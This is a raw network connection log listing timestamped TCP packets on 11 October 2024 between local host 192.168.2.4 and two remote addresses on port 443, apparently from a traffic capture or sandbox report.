Oct 11, 2024 20:30:05.923120022 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.923437119 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.923465967 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.923854113 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.923860073 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.964426041 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.964481115 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.964551926 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.967917919 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.967933893 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.967942953 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.967947006 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.970988035 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.971035957 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.971102953 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.971312046 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.971318960 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.993333101 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.993484020 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.993532896 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.993556023 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.993571043 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.993587017 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.993592978 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.996121883 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.996161938 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.996335983 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.996467113 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.996479034 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.020369053 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.020518064 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.020632982 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.020678997 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.020678997 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.020700932 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.020713091 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.023102999 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.023166895 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.023242950 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.023430109 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.023458004 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.026299000 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.026681900 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.026688099 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.027302980 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.027307034 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.037987947 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.038058996 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.038104057 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.038223028 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.038228989 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.038243055 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.038249016 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.040636063 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.040657043 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.040714025 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.040844917 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.040855885 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.138442993 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.138489962 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.138717890 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.138750076 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.138757944 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.138767004 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.138771057 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.142008066 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.142019033 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.142075062 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.142206907 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.142210007 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.633907080 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.634454966 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.634531021 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.635130882 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.635143995 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.678308964 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.678960085 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.679024935 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.679549932 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.679562092 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.704946041 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.705310106 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.705337048 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.705874920 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.705879927 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.720288992 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.720712900 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.720751047 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.721185923 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.721199989 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.753669977 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.753824949 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.753896952 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.754002094 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.754002094 CEST	58997	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.754049063 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.754075050 CEST	443	58997	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.758080006 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.758117914 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.758222103 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.758380890 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.758397102 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.789624929 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.789777040 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.789844990 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.790023088 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.790066957 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.790096045 CEST	58998	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.790111065 CEST	443	58998	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.793502092 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.793529987 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.793643951 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.794064045 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.794075012 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.815059900 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.815458059 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.815588951 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.815619946 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.815619946 CEST	59000	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.815628052 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.815635920 CEST	443	59000	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.818358898 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.818392992 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.818516016 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.818618059 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.818631887 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.822072983 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.822510958 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.822525024 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.822976112 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.822981119 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.834956884 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.835104942 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.835230112 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.835294962 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.835294962 CEST	58999	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.835325003 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.835349083 CEST	443	58999	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.837696075 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.837785959 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.837863922 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.838004112 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.838042974 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.939080954 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.939130068 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.939203978 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.939332962 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.939337969 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.939351082 CEST	59001	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.939354897 CEST	443	59001	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.941906929 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.941992044 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:06.942136049 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.942272902 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:06.942308903 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.241128922 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:07.241162062 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.241427898 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:07.241564035 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:07.241576910 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.444736004 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.445950985 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.445950985 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.445980072 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.445983887 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.479224920 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.479809999 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.479830027 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.480330944 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.480341911 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.490392923 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.491050005 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.491111040 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.491539955 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.491555929 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.507688046 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.508420944 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.508420944 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.508450985 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.508471012 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.557435036 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.557576895 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.557715893 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.557838917 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.557838917 CEST	59002	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.557852030 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.557854891 CEST	443	59002	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.560969114 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.561064005 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.561136007 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.561261892 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.561291933 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.588100910 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.588152885 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.588224888 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.588355064 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.588355064 CEST	59004	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.588373899 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.588385105 CEST	443	59004	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.591061115 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.591095924 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.591223001 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.591347933 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.591362953 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.593660116 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.594160080 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.594189882 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.594748020 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.594758987 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.600955963 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.600996971 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.601048946 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.601172924 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.601197004 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.601212978 CEST	59005	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.601221085 CEST	443	59005	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.603518009 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.603535891 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.603771925 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.603935003 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.603944063 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.618781090 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.618910074 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.619077921 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.619098902 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.619108915 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.619136095 CEST	59003	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.619141102 CEST	443	59003	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.621371031 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.621433020 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.621552944 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.621680975 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.621720076 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.739859104 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.739908934 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.739970922 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.740283012 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.740305901 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.740323067 CEST	59006	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.740329981 CEST	443	59006	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.743405104 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.743442059 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.743644953 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.743829966 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:07.743841887 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:07.905390024 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.905658960 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:07.905673027 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.906126022 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.906613111 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:07.906693935 CEST	443	59007	142.250.185.164	192.168.2.4
Oct 11, 2024 20:30:07.957664967 CEST	59007	443	192.168.2.4	142.250.185.164
Oct 11, 2024 20:30:08.278496981 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.279056072 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.279098034 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.279709101 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.279721022 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.284499884 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.284964085 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.284989119 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.285410881 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.285418987 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.294383049 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.294792891 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.294812918 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.295347929 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.295358896 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.304177046 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.304512024 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.304538012 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.305006027 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.305017948 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.395934105 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.396070004 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.396208048 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.396368980 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.396394968 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.396420002 CEST	59010	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.396434069 CEST	443	59010	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.399535894 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.399554968 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.399627924 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.399799109 CEST	59013	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.399811029 CEST	443	59013	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.403094053 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.403214931 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.403309107 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.403372049 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.403372049 CEST	59011	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.403429985 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.403454065 CEST	443	59011	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.405612946 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.405627966 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.405680895 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.405826092 CEST	59014	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.405838966 CEST	443	59014	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.406099081 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.406502008 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.406521082 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.406990051 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.406995058 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.440083981 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.440146923 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.440198898 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.440392017 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.440392017 CEST	59009	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.440416098 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.440438032 CEST	443	59009	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.442920923 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.442955017 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.443011999 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.443133116 CEST	59015	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.443146944 CEST	443	59015	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.528619051 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.528682947 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.528733015 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.528964996 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.528983116 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.528994083 CEST	59012	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.529000044 CEST	443	59012	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.532171011 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.532257080 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.532392025 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.532593012 CEST	59016	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.532628059 CEST	443	59016	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.627166986 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.627557993 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.627645016 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.627737045 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.627737045 CEST	59008	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:08.627767086 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.627788067 CEST	443	59008	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:08.630645037 CEST	59017	443	192.168.2.4	13.107.253.64
